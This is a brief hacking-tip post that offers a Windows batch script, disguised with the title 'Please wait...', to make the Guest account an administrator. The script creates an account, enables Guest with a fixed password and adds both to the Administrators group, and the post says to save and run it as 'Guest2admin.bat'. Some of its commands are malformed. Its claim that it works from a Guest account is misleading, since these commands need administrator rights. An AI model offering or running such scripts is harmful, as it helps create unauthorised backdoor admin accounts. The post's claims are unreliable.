Much Simpler trick to HACK admin from GUESt
title Please wait...
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.